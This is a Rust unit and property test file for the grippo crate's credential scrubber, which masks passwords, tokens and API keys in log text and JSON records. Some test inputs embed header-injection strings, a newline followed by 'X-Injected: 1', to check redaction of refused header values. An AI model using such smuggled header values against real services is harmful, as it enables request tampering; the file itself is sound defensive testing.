grippo 0.3.0

Grok, regex, CEL and scrubbing on typed primitives. Up to 9 times faster than the stock Rust regex.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
// Project:   grippo
// File:      src/scrub/field/tests.rs
// Purpose:   Credential names and text masking, against the shared corpus
// Language:  Rust
//
// License:   Apache-2.0
// Copyright: (c) 2026 HYPERI PTY LIMITED

#![allow(
    clippy::literal_string_with_formatting_args,
    reason = "the corpus marks placeholders as {secret}, filled by replace"
)]

use std::collections::HashSet;
use std::time::{Duration, Instant};

use proptest::prelude::*;
use serde_json::Value;

use super::*;

#[test]
fn words_split_on_case_digits_and_separators() {
    assert_eq!(joined_words("secretAccessKey"), "secret_access_key");
    assert_eq!(joined_words("HTTPServerKey"), "http_server_key");
    assert_eq!(joined_words("ABCdef"), "ab_cdef");
    assert_eq!(joined_words("x-api-key"), "x_api_key");
    assert_eq!(joined_words("ssl.key.pem"), "ssl_key_pem");
    assert_eq!(joined_words("s3_secret"), "s_3_secret");
    assert_eq!(joined_words("PGPASSWORD"), "pgpassword");
    assert_eq!(joined_words("__"), "");
    // Letters of any script are word characters, so `\u{e4}` doesn't split a word.
    let words = |name: &str| {
        let mut out = String::new();
        spell_words(name, &mut out);
        out
    };
    assert_eq!(words("p\u{e4}ssword"), "p\u{e4}ssword");
    assert_eq!(words("db\u{c4}Password"), "db_\u{e4}_password");
    assert_eq!(words("\u{5bc6}\u{78bc}_x"), "\u{5bc6}\u{78bc}_x");
    assert_eq!(
        words("\u{41f}\u{410}\u{420}\u{41e}\u{41b}\u{42c}"),
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}"
    );
    assert_eq!(words("a\u{200b}b\u{a0}c"), "a_b_c");
    // A name is read through its skeleton, so a look-alike spells what it imitates.
    assert_eq!(joined_words("p\u{e4}ssword"), "password");
    assert_eq!(joined_words("db\u{c4}Password"), "db_a_password");
    assert_eq!(joined_words("a\u{200b}b\u{a0}c"), "ab_c");
}

#[test]
fn every_spelling_of_a_term_is_one_term() {
    let matcher =
        CredentialMatcher::new(["token", "access_token", "api-key", "apiKey", "API_KEY"]).unwrap();
    assert_eq!(matcher.terms, ["accesstoken", "apikey", "token"]);
}

#[test]
fn an_empty_matcher_names_nothing() {
    let matcher = CredentialMatcher::new(Vec::<String>::new()).unwrap();
    assert!(matcher.is_empty());
    assert!(!matcher.matches("password", ""));
}

#[test]
fn a_parent_qualifies_only_a_bare_name() {
    let matcher = CredentialMatcher::new(["tls_key"]).unwrap();
    assert!(matcher.matches("KEY", "tls"));
    assert!(!matcher.matches("KEY", ""));
    assert!(!matcher.matches("keyring", "tls"));
}

#[test]
fn bearer_needs_a_word_boundary_space_and_token() {
    assert_eq!(mask_bearer("Bearer abc", "M", &mut 0), "bearer M");
    assert_eq!(
        mask_bearer("x bearer   abc def", "M", &mut 0),
        "x bearer M def"
    );
    assert_eq!(mask_bearer("unbearer abc", "M", &mut 0), "unbearer abc");
    assert_eq!(mask_bearer("bearer", "M", &mut 0), "bearer");
    assert_eq!(mask_bearer("bearer ", "M", &mut 0), "bearer ");
    assert_eq!(mask_bearer("bearerabc", "M", &mut 0), "bearerabc");
    assert!(matches!(
        mask_bearer("no token here", "M", &mut 0),
        Cow::Borrowed(_)
    ));
}

/// Scheme-and-credential values a refused header holds, each masked whole.
const REFUSED_CREDENTIALS: [&str; 3] = [
    "SSWS sentinel-ssws-4c1d",
    "Bearer sentinel-bearer-9e2a",
    "Basic c2VudGluZWwtYmFzaWMtN2Iz",
];

#[test]
fn a_refused_header_value_masks_whole_with_its_quotes_kept() {
    let shapes: &[(&str, &str)] = &[
        (
            r"Illegal header value b'{v}\nX-Injected: 1'",
            "Illegal header value b'M'",
        ),
        (
            r"Illegal header value '{v}\nX-Injected: 1'",
            "Illegal header value 'M'",
        ),
        (
            r#"Illegal header value b"{v}\nX-Injected: it's""#,
            r#"Illegal header value b"M""#,
        ),
        (
            r#"ProtocolError("Illegal header value b'{v}\\nX-Injected: 1'")"#,
            r#"ProtocolError("Illegal header value b'M'")"#,
        ),
        ("Illegal header value b'{v}", "Illegal header value b'M'"),
        (
            "Illegal header value b'{v}\nnext line",
            "Illegal header value b'M'\nnext line",
        ),
        (
            "ILLEGAL HEADER VALUE B'{v}' then",
            "ILLEGAL HEADER VALUE B'M' then",
        ),
        (
            "x: illegal header value '{v}', '{v}'",
            "x: illegal header value 'M', '{v}'",
        ),
    ];
    for &(shape, want) in shapes {
        for credential in REFUSED_CREDENTIALS {
            let text = shape.replace("{v}", credential);
            let mut n = 0;
            let got = mask_refused_headers(&text, "M", &mut n);
            assert_eq!(got, want.replace("{v}", credential), "{text}");
            assert_eq!(n, 1, "{text}");
            if !want.contains("{v}") {
                let whole = mask_text(&text, CredentialMatcher::default_terms(), "M");
                assert_eq!(whole, got, "{text}");
            }
        }
    }
    assert_eq!(
        mask_refused_headers("Illegal header value b'hunter2 '", "M", &mut 0),
        "Illegal header value b'M'"
    );
    assert_eq!(
        mask_refused_headers("Illegal header value b''", "M", &mut 0),
        "Illegal header value b'M'"
    );
    assert_eq!(&REFUSED_HEADER[REFUSED_HEADER_V..=REFUSED_HEADER_V], "v");
}

#[test]
fn text_that_is_not_a_refused_header_value_is_left_alone() {
    for text in [
        "Illegal header name b'X Bad' and illegal header value without a quote",
        "xillegal header value 'secret'",
        "illegal_header value 'secret'",
        "illegal header value  'secret'",
        "illegal header valueb'secret'",
        "illegal header value bb'secret'",
        "illegal header value",
        "",
        "header value 'v'",
    ] {
        let mut n = 0;
        assert!(
            matches!(mask_refused_headers(text, "M", &mut n), Cow::Borrowed(_)),
            "{text}"
        );
        assert_eq!(n, 0, "{text}");
    }
}

/// The regex that defines a refused header value, one alternative per quote.
static REFUSED_ORACLE: LazyLock<regex_automata::meta::Regex> = LazyLock::new(|| {
    regex_automata::meta::Regex::new(
        r#"(?i)\billegal header value b?(?:'(?:[^'\\\n]|\\.)*'?|"(?:[^"\\\n]|\\.)*"?)"#,
    )
    .expect("the oracle regex builds")
});

/// [`mask_refused_headers`] as [`REFUSED_ORACLE`] reads.
fn reference_refused_headers(text: &str, mask: &str) -> (String, usize) {
    let mut out = String::new();
    let mut copied = 0;
    let mut n = 0;
    for found in REFUSED_ORACLE.find_iter(text) {
        let matched = &text[found.range()];
        let open = matched
            .find(['\'', '"'])
            .expect("a match holds its opening quote");
        out.push_str(&text[copied..=found.start() + open]);
        out.push_str(mask);
        out.push_str(&matched[open..=open]);
        copied = found.end();
        n += 1;
    }
    out.push_str(&text[copied..]);
    (out, n)
}

const REFUSED_PIECES: [&str; 14] = [
    "illegal header value ",
    "Illegal Header VALUE ",
    "illegal header value b'",
    "b",
    "B",
    "'",
    "\"",
    "\\",
    "\n",
    "x",
    " ",
    "_",
    "\u{e9}",
    "v",
];

proptest! {
    #![proptest_config(ProptestConfig::with_cases(20_000))]

    #[test]
    fn a_refused_header_value_masks_as_its_regex_reads(
        parts in proptest::collection::vec(proptest::sample::select(REFUSED_PIECES.to_vec()), 0..16)
    ) {
        let text = parts.concat();
        let mut n = 0;
        let got = mask_refused_headers(&text, "M", &mut n);
        let (want, count) = reference_refused_headers(&text, "M");
        prop_assert_eq!(got.as_ref(), want.as_str());
        prop_assert_eq!(n, count);
    }
}

#[test]
fn unchanged_text_is_not_copied() {
    let matcher = CredentialMatcher::default_terms();
    let line = "processed 1200 records from topic raw_events";
    assert!(matches!(mask_text(line, matcher, "M"), Cow::Borrowed(_)));
}

#[test]
fn a_quoted_value_closes_at_its_first_unescaped_quote_else_its_next() {
    assert_eq!(quoted_value_end(r#""a\"b" x"#, 0, true), Some(6));
    assert_eq!(quoted_value_end(r#""abc\"}"#, 0, true), Some(6));
    assert_eq!(quoted_value_end(r"'a\' b", 0, false), Some(4));
    assert_eq!(quoted_value_end("\"a\\\nb\"", 0, true), Some(6));
    assert_eq!(quoted_value_end("\"a\\\nb\"", 0, false), None);
    assert_eq!(quoted_value_end("\"a\\\"\nb\"", 0, false), Some(4));
    assert_eq!(quoted_value_end("\"abc", 0, true), None);
    assert_eq!(quoted_value_end("\"abc\\", 0, true), None);
}

#[test]
fn a_single_quoted_value_an_escape_leaves_open_masks_to_its_next_quote() {
    let defaults = CredentialMatcher::default_terms();
    assert_eq!(
        mask_text(r"password: 'a b\' next", defaults, "M"),
        "password: M next"
    );
    assert_eq!(
        mask_text(r"password='a b\' next", defaults, "M"),
        "password=M next"
    );
}

fn wrapper(text: &str, from: usize) -> (Option<usize>, Option<usize>) {
    Values::new(text).wrapper(from)
}

#[test]
fn a_wrapper_closes_at_its_own_parenthesis() {
    assert_eq!(wrapper("Some(\"a)b\") rest", 0), (Some(11), Some(11)));
    assert_eq!(wrapper("f(g(x), y) rest", 0), (Some(10), Some(10)));
    assert_eq!(wrapper("(x)", 0), (None, None));
    assert_eq!(wrapper("name (x)", 0), (None, None));
}

#[test]
fn a_wrapper_that_never_closes_runs_to_the_end_of_the_text() {
    assert_eq!(wrapper("Some(\"never closes", 0), (None, Some(18)));
    assert_eq!(wrapper("Some(a\nb\n", 0), (None, Some(8)));
}

#[test]
fn a_string_with_no_unescaped_close_closes_at_its_next_quote_and_no_pass_replaces_it() {
    assert_eq!(wrapper(r#"Some("a\") x"#, 0), (None, Some(10)));
    assert_eq!(wrapper(r"T(v='a\') x", 0), (None, Some(9)));
}

#[test]
fn a_name_starting_with_a_digit_runs_to_its_close_and_no_pass_replaces_it() {
    assert_eq!(wrapper("1(a b) c", 0), (None, Some(6)));
    assert_eq!(wrapper("\u{661}(a b) c", 0), (None, Some(7)));
}

/// A wrapper named in another script is read whole, as an ASCII one is.
#[test]
fn a_wrapper_named_in_any_script_masks_its_whole_value() {
    let defaults = CredentialMatcher::default_terms();
    for name in [
        "Secret",
        "Contrase\u{f1}a",
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
        "\u{5bc6}\u{7801}_v2",
    ] {
        let value = format!("{name}(\"a b\")");
        assert_eq!(
            wrapper(&format!("{value} rest"), 0),
            (Some(value.len()), Some(value.len())),
            "{name}"
        );
        assert_eq!(
            mask_text(&format!("token={value} next"), defaults, "M"),
            "token=M next",
            "{name}"
        );
    }
}

/// A count under a short term's plural reads as a number in any script's
/// digits, so `max_tokens` holding Arabic-Indic or full-width digits is a
/// count as `10` is, and a value that isn't all digits is still a credential.
#[test]
fn a_count_in_any_scripts_digits_is_a_count() {
    let defaults = CredentialMatcher::default_terms();
    let mut buf = Spellings::default();
    for (value, credential) in [
        ("10", false),
        ("\u{661}\u{660}", false),
        ("\"\u{ff11}\u{ff12}.\u{ff15}\"", false),
        ("-\u{967}\u{966}", false),
        ("\u{661}\u{660}a", true),
        ("\u{661}.", true),
        ("\u{bd}", true),
        ("tok", true),
    ] {
        assert_eq!(
            defaults.matches_value("max_tokens", "", value.as_bytes(), &mut buf),
            credential,
            "{value:?}"
        );
    }
}

#[test]
fn the_last_closable_quote_has_an_even_run_of_backslashes_before_it() {
    assert_eq!(last_closable(r#"a"b\"c"#, b'"'), Some(1));
    assert_eq!(last_closable(r#"a"b\\"c"#, b'"'), Some(5));
    assert_eq!(last_closable(r#"\"\""#, b'"'), None);
    assert_eq!(last_closable("abc", b'\''), None);
}

#[test]
fn a_wrapped_value_closes_within_4096_bytes() {
    let defaults = CredentialMatcher::default_terms();
    for (value, whole) in [
        (format!("f({}b)", "a ".repeat(2046)), true),
        (format!("f({}bc)", "a ".repeat(2046)), false),
        (format!("f({}a)", "\u{e9} ".repeat(1364)), true),
        (format!("f({}ab)", "\u{e9} ".repeat(1364)), false),
    ] {
        let expected = if whole { "token=M next" } else { "token=M" };
        assert_eq!(
            mask_text(&format!("token={value} next"), defaults, "M"),
            expected
        );
        let reach = if whole { value.len() } else { value.len() + 5 };
        assert_eq!(
            wrapper(&format!("{value} next"), 0),
            (whole.then_some(value.len()), Some(reach))
        );
    }
}

/// The first quote matching the one at `at` that no backslash escapes, anywhere after it.
fn reference_escaped_close(text: &str, at: usize) -> Option<usize> {
    let quote = char::from(text.as_bytes()[at]);
    let mut chars = text[at + 1..].char_indices();
    while let Some((i, c)) = chars.next() {
        if c == '\\' {
            chars.next();
        } else if c == quote {
            return Some(at + 1 + i);
        }
    }
    None
}

/// The `Name(...)` value at `from`, read one character at a time, as a check on the walk.
fn reference_wrapper(text: &str, from: usize) -> (Option<usize>, Option<usize>) {
    let name_len: usize = text[from..]
        .chars()
        .take_while(|c| c.is_alphanumeric() || *c == '_')
        .map(char::len_utf8)
        .sum();
    if name_len == 0 || !text[from + name_len..].starts_with('(') {
        return (None, None);
    }
    let never = (
        None,
        Some(text.strip_suffix('\n').map_or(text.len(), str::len)),
    );
    let mut limit = text.len().min(from + MAX_WRAPPER_LEN);
    while !text.is_char_boundary(limit) {
        limit -= 1;
    }
    let mut depth = 0;
    let mut escaped = false;
    let mut at = from + name_len;
    while at < limit {
        let c = text[at..].chars().next().unwrap_or_default();
        match c {
            '(' => depth += 1,
            ')' => {
                depth -= 1;
                if depth == 0 {
                    let digit = text[from..].chars().next().is_some_and(char::is_numeric);
                    let replaced = !escaped && !digit;
                    return (replaced.then_some(at + 1), Some(at + 1));
                }
            }
            '"' | '\'' => {
                let close = reference_escaped_close(text, at).or_else(|| {
                    escaped = true;
                    text[at + 1..].find(c).map(|i| at + 1 + i)
                });
                match close {
                    Some(close) if close < limit => at = close,
                    _ => return never,
                }
            }
            _ => {}
        }
        at += c.len_utf8();
    }
    never
}

const WRAPPER_ALPHABET: [&str; 18] = [
    "a", "_", "1", "(", "(", ")", ")", "\"", "\"", "'", "'", "\\", "\\", " ", "\n", "x(", "\u{e9}",
    "\u{661}",
];

proptest::proptest! {
    #![proptest_config(proptest::prelude::ProptestConfig::with_cases(5_000))]

    #[test]
    fn a_wrapped_value_ends_where_a_character_scan_ends_it(
        parts in proptest::collection::vec(proptest::sample::select(WRAPPER_ALPHABET.to_vec()), 0..40)
    ) {
        let text = parts.concat();
        for (from, _) in text.char_indices() {
            proptest::prop_assert_eq!(
                Values::new(&text).wrapper(from),
                reference_wrapper(&text, from),
                "{:?} at {}", text, from
            );
        }
    }
}

/// Separators that split a name into words, which a term spells across.
const SPLITS: [&str; 6] = ["", "", "_", "-", ".", " "];

proptest::proptest! {
    #![proptest_config(proptest::prelude::ProptestConfig::with_cases(2_000))]

    /// A term written in any case, split anywhere, with anything around it,
    /// is never ruled out.
    #[test]
    fn a_term_spelled_any_way_is_never_ruled_out(
        term in proptest::sample::select(SENSITIVE_FIELDS.to_vec()),
        cuts in proptest::collection::vec(proptest::sample::select(SPLITS.to_vec()), 32),
        upper in proptest::collection::vec(proptest::bool::ANY, 32),
        around in "[a-z0-9_ ]{0,6}",
    ) {
        let matcher = CredentialMatcher::default_terms();
        let mut name = around.clone();
        for (i, c) in term.chars().filter(char::is_ascii_alphanumeric).enumerate() {
            name.push_str(cuts[i % cuts.len()]);
            name.push(if upper[i % upper.len()] { c.to_ascii_uppercase() } else { c });
        }
        name.push_str(&around);
        let pair = format!("x {name}: v");
        proptest::prop_assert!(matcher.may_name_in(&name, false), "{:?} from {:?}", name, term);
        proptest::prop_assert!(matcher.may_name_in(&pair, false), "{:?}", pair);
    }
}

#[test]
fn digit_groups_stop_at_a_word() {
    assert_eq!(
        digit_group_ends("+61 412 345 on", 3, ends_colon_value),
        [3, 7, 11]
    );
    assert_eq!(digit_group_ends("1 (2 3", 1, ends_colon_value), [1, 4, 6]);
}

// Checked against tests/fixtures/scrub/credential_masking_parity.json.

const MASK: &str = "[REDACTED]";

/// The value every `{secret}` in the corpus stands for, built here so no credential sits in source.
fn secret() -> String {
    format!("FAKE-{}-{}", "credname", "X".repeat(12))
}

/// `text` with the corpus placeholders filled in.
fn fill(text: &str, mask: &str) -> String {
    let secret = secret();
    text.replace("{pw}", &format!("p@{secret}"))
        .replace("{secret}", &secret)
        .replace("{window}", &"x".repeat(4096))
        .replace("{mask}", mask)
}

fn corpus() -> Value {
    serde_json::from_str(include_str!(
        "../../../tests/fixtures/scrub/credential_masking_parity.json"
    ))
    .expect("parse the corpus")
}

/// The narrowing fixture, whose `[supersedes]` replaces named corpus cases.
fn narrowing() -> toml::Table {
    include_str!("../../../tests/fixtures/scrub/narrowing_fixtures.toml")
        .parse()
        .expect("parse the narrowing fixture")
}

/// The narrowing fixture's replacement for case `id` of corpus `section`.
fn superseded<'a>(
    narrowing: &'a toml::Table,
    section: &str,
    id: &Value,
) -> Option<&'a toml::Value> {
    narrowing["supersedes"][section].get(id.as_str()?)
}

fn cases<'a>(corpus: &'a Value, section: &str) -> &'a [Value] {
    let cases = corpus[section].as_array().expect("corpus section");
    assert!(!cases.is_empty(), "corpus section {section} is empty");
    cases
}

fn names<'a>(corpus: &'a Value, list: &str) -> Vec<&'a str> {
    corpus["names"][list]
        .as_array()
        .expect("corpus name list")
        .iter()
        .map(|name| name.as_str().expect("name"))
        .collect()
}

/// [`mask_text`] with the default terms and [`MASK`], held to
/// [`may_mask`]: a text it rules out comes back as it went in.
fn masked(text: &str) -> String {
    let out = mask_text(text, CredentialMatcher::default_terms(), MASK).into_owned();
    assert!(out == text || may_mask(text.as_bytes(), false), "{text:?}");
    out
}

fn text_field<'a>(case: &'a Value, field: &str) -> &'a str {
    case[field]
        .as_str()
        .unwrap_or_else(|| panic!("{field} in {case}"))
}

#[test]
fn credential_names_match() {
    let corpus = corpus();
    for list in [
        "credential",
        "spellings_of_api_key",
        "previous_scalo_rs_defaults",
    ] {
        for name in names(&corpus, list) {
            assert!(is_credential_name(name, ""), "{list}: {name}");
        }
    }
}

#[test]
fn a_name_is_a_credential_only_when_its_last_words_spell_a_term() {
    let narrowing = narrowing();
    let list = |name: &str| -> Vec<&str> {
        narrowing["credential_names"][name]
            .as_array()
            .expect("name list")
            .iter()
            .map(|n| n.as_str().expect("name"))
            .collect()
    };
    for name in list("credential") {
        assert!(is_credential_name(name, ""), "credential: {name}");
    }
    for name in list("not_credential") {
        assert!(!is_credential_name(name, ""), "not_credential: {name}");
    }
}

#[test]
fn a_bare_name_takes_its_credential_from_a_credential_named_parent() {
    let narrowing = narrowing();
    let cases = narrowing["parent_cases"].as_array().expect("parent cases");
    assert_ne!(cases.as_slice(), []);
    for case in cases {
        let name = case["name"].as_str().expect("name");
        let parent = case["parent"].as_str().expect("parent");
        let want = case["credential"].as_bool().expect("credential");
        assert_eq!(
            is_credential_name(name, parent),
            want,
            "{name} under {parent}"
        );
    }
}

#[test]
fn a_short_terms_plural_keeps_a_number_and_masks_anything_else() {
    let narrowing = narrowing();
    let matcher = CredentialMatcher::default_terms();
    let mut buf = Spellings::default();
    let cases = narrowing["value_cases"].as_array().expect("value cases");
    assert_ne!(cases.as_slice(), []);
    for case in cases {
        let name = case["name"].as_str().expect("name");
        let value = case["value"].as_str().expect("value");
        let masked = case["masked"].as_bool().expect("masked");
        assert_eq!(
            matcher.matches_value(name, "", value.as_bytes(), &mut buf),
            masked,
            "{name} = {value}"
        );
    }
}

/// A record's fields walked as JSON: a credential name masks its value whole,
/// a container included.
#[cfg(feature = "scrub-json")]
#[test]
fn structured_cases_match_the_corpus() {
    use crate::scrub::{Layers, RuleConfig, Scrubber};
    let s = Scrubber::builder()
        .layers(Layers::FIELD)
        .build(&RuleConfig::default())
        .expect("build");
    let mut scratch = s.scratch();
    let mut report = s.report();
    let mask = "[CREDENTIAL_FIELD_REDACTED]";
    let filled = |v: &Value| -> Value {
        serde_json::from_str(&fill(&v.to_string(), mask)).expect("filled json")
    };
    let corpus = corpus();
    for case in cases(&corpus, "structured_cases") {
        let mut record = filled(&case["input"]);
        report.clear();
        s.scrub_value(&mut record, &mut scratch, &mut report);
        assert_eq!(record, filled(&case["expected"]), "case {}", case["id"]);
    }
}

#[test]
fn setting_names_do_not_match() {
    let corpus = corpus();
    for list in ["shown", "no_term"] {
        for name in names(&corpus, list) {
            assert!(!is_credential_name(name, ""), "{list}: {name:?}");
        }
    }
}

#[test]
fn every_previous_default_is_still_a_default() {
    let corpus = corpus();
    let defaults: HashSet<&str> = SENSITIVE_FIELDS.iter().copied().collect();
